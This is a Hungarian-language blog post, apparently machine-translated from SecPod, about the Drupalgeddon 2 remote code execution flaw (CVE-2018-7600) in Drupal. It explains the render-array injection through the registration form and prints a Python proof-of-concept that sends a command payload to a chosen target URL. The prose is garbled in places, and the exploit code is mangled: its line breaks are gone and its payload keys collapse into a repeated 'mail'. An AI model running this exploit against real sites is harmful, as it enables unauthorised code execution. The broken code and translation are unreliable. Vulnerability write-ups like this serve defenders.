Drupalgeddon 2 RCE-SecPod Blog

több mint egymillió aktív webhely használja a Drupalt, így a WordPress után világszerte a második leggyakrabban használt tartalomkezelő rendszer. 28. Március 2018-án a Drupal kiadta a 6-8-as verziók biztonsági javításait, amelyek azonnali frissítést javasolnak, és a mögöttes biztonsági rést (CVE-2018-7600) kritikusnak tekintik a távoli kódfuttatással. A Drupal-t használó weboldalak szkennelése és támadásai a várakozásoknak megfelelően exponenciálisan növekedtek, de nem érkezett jelentés a sebezhetőség kihasználásáról a vadonban. Aztán néhány nappal ezelőtt egy orosz biztonsági kutató közzétette a POC (proof-of-concept) exploit kódot a Githubon, és az Internet megvadult.

kizsákmányolás halmozódott fel, és a támadók elkezdték használni kriptovaluta bányászok és malware hátsó ajtók telepítésére. Úgy gondolják, hogy az egyik Monero miner kampány, amely az XMRIG-t szállította, miközben kihasználta az Oracle WebLogic szerverek biztonsági rését (CVE-2017-10271).

a statisztikák szerint a Drupalgeddon 2 támadások 90% – a nem más, mint a sebezhető rendszerek felkutatására irányuló szkennelés, 3% – uk backdoor fertőzési kísérlet, 2% pedig kriptobányászokat próbál futtatni.

a Drupal tanácsadói figyelmeztetésében figyelmeztette: “a 2018-04-11 szerdáig nem javított webhelyek veszélybe kerülhetnek” és “a Drupal egyszerű frissítése nem távolítja el a hátsó ajtókat vagy javítja a veszélyeztetett webhelyeket. Ha úgy találja, hogy webhelye már javításra került, de nem tette meg, ez annak a tünete lehet, hogy a webhely veszélybe került. A múltban néhány támadás alkalmazta a javítást annak biztosítására, hogy csak az a támadó irányítsa a webhelyet.”

szakzsargon

a Drupal bemutatta Form API-ját a Drupal 6-ban, amely lehetővé tette az űrlapadatok megváltoztatását az űrlap-megjelenítési folyamat során. Ez forradalmasította a jelölési feldolgozás működését. A Drupal 7-ben az űrlap API-t általánosították az úgynevezett “megjeleníthető tömbökre”. Ez a kiterjesztett API a Drupal felhasználói felületének legtöbb elemének, például oldalak, blokkok, csomópontok stb. A megjeleníthető tömbök a megjelenítési folyamatban használt metaadatokat tartalmaznak. Ezek a megjeleníthető tömbök olyan kulcs-érték struktúra, amelyben a tulajdonságkulcsok hash jellel (#) kezdődnek. Példa:

a Drupal kiadott egy javítást, amely csak egyetlen class RequestSanitizer-t adott hozzá egy stripDangerousValues módszerrel, amely feloldja a beviteli tömb összes elemét a hash jellel kezdődő kulcsokhoz. Ez a módszer megtisztítja a bemeneti adatokat $_GET, $_POST & $_COOKIES-ban a Drupal bootstrap nagyon korai szakaszában (közvetlenül a webhelykonfigurációk betöltése után). Feltételezhető, hogy a javítás kiadásának oka az, hogy nehezebbé tegye a meglévő biztonsági rés megtalálását.

a biztonsági rést az űrlapokon találták meg. A felhasználói regisztrációs űrlap, amely nem igényel hitelesítést, és névtelenül érhető el, több beviteli mezőt tartalmaz, és kihasználható.

képforrás: Checkpoint, Dofinity

nagyon valószínű volt, hogy egy megjeleníthető tömb befecskendezése kihasználja a biztonsági rést, a kérdés az volt, hol?

mint kiderült, az “e-mail cím” mező nem fertőtleníti a kapott bemenet típusát, amely lehetővé tette számunkra, hogy a megjeleníthető tömböt az űrlaptömb szerkezetébe injektáljuk.

képforrás : Checkpoint, Dofinity

most már csak arra volt szükségünk, hogy a Drupal renderelje az injektált tömbünket. Mivel a Drupal az injektált tömbünket értékként kezeli, nem pedig elemként, be kellett csapnunk a Drupalt, hogy renderelje. A Drupal tömböt renderel az oldal betöltési eseményén vagy a Drupal AJAX API-n keresztül.

a felhasználói regisztrációs űrlap “kép” mezője a Drupal AJAX API-ját használja a kép feltöltéséhez, majd a feltöltött kép miniatűrjével helyettesíti.

Proof-of-concept (POC)

#!/usr/bin/env python3import sysimport requestsprint ('################################################################')print ('# Proof-Of-Concept for CVE-2018-7600')print ('# by Vitalii Rudnykh')print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')print ('# https://github.com/a2u/CVE-2018-7600')print ('################################################################')print ('Provided only for educational or information purposes\n')target = input('Enter target url (example: https://domain.ltd/): ')# Add proxy support (eg. BURP to analyze HTTP(s) traffic)# set verify = False if your proxy certificate is self signed# remember to set proxies both for http and https# # example:# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}# verify = Falseproxies = {}verify = Trueurl = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail': 'exec', 'mail': 'markup', 'mail': 'echo ";-)" | tee hello.txt'}r = requests.post(url, proxies=proxies, data=payload, verify=verify)check = requests.get(target + 'hello.txt', verify=verify)if check.status_code != 200: sys.exit("Not exploitable")print ('\nCheck: '+target+'hello.txt')

Vélemény, hozzászólás?

Az e-mail-címet nem tesszük közzé.

Related Posts